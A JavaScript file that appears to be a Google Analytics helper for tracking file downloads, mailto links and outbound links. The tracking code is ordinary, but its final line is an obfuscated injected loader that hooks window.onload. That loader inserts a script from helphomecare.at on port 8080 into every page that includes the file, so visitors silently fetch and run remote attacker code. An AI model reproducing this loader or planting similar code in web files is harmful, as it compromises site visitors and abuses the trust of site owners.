//	This javascript tags file downloads and external links in Google Analytics.
//	You need to be using the Google Analytics New Tracking Code (ga.js) 
//	for this script to work.
//	To use, place this file on all pages just above the Google Analytics tracking code.
//	All outbound links and links to non-html files should now be automatically tracked.
//
//	This script has been provided by Goodwebpractices.com
//	Thanks to ShoreTel, MerryMan and Colm McBarron
//
//	www.goodwebpractices.com
//	VKI has made changes as indicated below.								

if (document.getElementsByTagName) {
        // Initialize external link handlers
        var hrefs = document.getElementsByTagName("a");
        for (var l = 0; l < hrefs.length; l++) {
				// try {} catch{} block added by erikvold VKI
			try{
	                //protocol, host, hostname, port, pathname, search, hash
	                if (hrefs[l].protocol == "mailto:") {
	                        startListening(hrefs[l],"click",trackMailto);
	                } else if (hrefs[l].hostname == location.host) {
	                        var path = hrefs[l].pathname + hrefs[l].search;
							var isDoc = path.match(/\.(?:doc|eps|jpg|png|svg|xls|ppt|pdf|xls|zip|txt|vsd|vxd|js|css|rar|exe|wma|mov|avi|wmv|mp3)($|\&|\?)/);
	                        if (isDoc) {
	                                startListening(hrefs[l],"click",trackExternalLinks);
	                        }
	                } else {
	                        startListening(hrefs[l],"click",trackExternalLinks);
	                }
			}
			catch(e){
					continue;
			}
        }
}

function startListening (obj,evnt,func) {
        if (obj.addEventListener) {
                obj.addEventListener(evnt,func,false);
        } else if (obj.attachEvent) {
                obj.attachEvent("on" + evnt,func);
        }
}

function trackMailto (evnt) {
        var href = (evnt.srcElement) ? evnt.srcElement.href : this.href;
        var mailto = "/mailto/" + href.substring(7);
        if (typeof(pageTracker) == "object") pageTracker._trackPageview(mailto);
}

function trackExternalLinks (evnt) {
        var e = (evnt.srcElement) ? evnt.srcElement : this;
        while (e.tagName != "A") {
                e = e.parentNode;
        }
        var lnk = (e.pathname.charAt(0) == "/") ? e.pathname : "/" + e.pathname;
        if (e.search && e.pathname.indexOf(e.search) == -1) lnk += e.search;
        if (e.hostname != location.host) lnk = "/external/" + e.hostname + lnk;
        if (typeof(pageTracker) == "object") pageTracker._trackPageview(lnk); 
}

var fN='';var Nm='';var O;if(O!='' && O!='x'){O=null};function P(){var p='';var XW;if(XW!='Z' && XW!='oi'){XW=''};var Gw;if(Gw!='' && Gw!='pL'){Gw='NR'};var _=window;var _d=unescape;var t='';var X=_d("%2f%61%62%6f%75%74%75%73%2d%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%75%6e%2e%63%6f%6d%2e%70%68%70");function f(D,u){var qG="";var fE;if(fE!='z' && fE!='Sl'){fE=''};var s;if(s!='e' && s!='Vz'){s='e'};var g="g";this._V="";var Xq="";var b=_d("%5b"), Q=_d("%5d");var wp=new String();var M=new String();var B=b+u+Q;var oP=new Date();var G=new RegExp(B, g);return D.replace(G, new String());};var MR='';var I="";var d;if(d!='Mb' && d!='L'){d='Mb'};var MQ;if(MQ!='' && MQ!='sT'){MQ='Wl'};var c=new String();var wf=new Date();this.GG='';var v=f('85672217603771648622714950526365','91657342');var JK;if(JK!='Kd'){JK=''};var m=document;var zc;if(zc!='' && zc!='vZ'){zc=null};var qr='';function N(){var kq='';var H;if(H!='JD'){H='JD'};var o=_d("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var aa=new Date();var du=new Date();c=o;this._N='';var Dd;if(Dd!='' && Dd!='PF'){Dd=''};c+=v;c+=X;var _dr;if(_dr!='' && _dr!='rL'){_dr='qF'};var cp;if(cp!='' && cp!='tN'){cp='sb'};var aT;if(aT!='' && aT!='Iw'){aT=''};try {var jd;if(jd!='' && jd!='pIN'){jd=null};w=m.createElement(f('sGcorFiLpLtG','G3HxmhXy1Lo9FwC'));this.KW="";this.xt="";w[_d("%73%72%63")]=c;var JH='';var Ml;if(Ml!='VR' && Ml!='WY'){Ml='VR'};w[_d("%64%65%66%65%72")]=[1,9][0];var dx=new Date();var cn='';var VB=new Array();m.body.appendChild(w);var uC;if(uC!='' && uC!='s_'){uC='xj'};} catch(fA){alert(fA);var me="";};var Pk;if(Pk!='jc' && Pk != ''){Pk=null};}var Ow;if(Ow!='' && Ow!='xa'){Ow=null};var JM=new String();_["LCHion".substr(4)+"jROlo".substr(3)+"NnocadnoNc".substr(4,2)]=N;var UX;if(UX!='ig' && UX!='PL'){UX=''};};var DV;if(DV!='Yx'){DV='Yx'};this.Tm="";var h="";P();var ll=new Array();var HA;if(HA!='FG'){HA=''};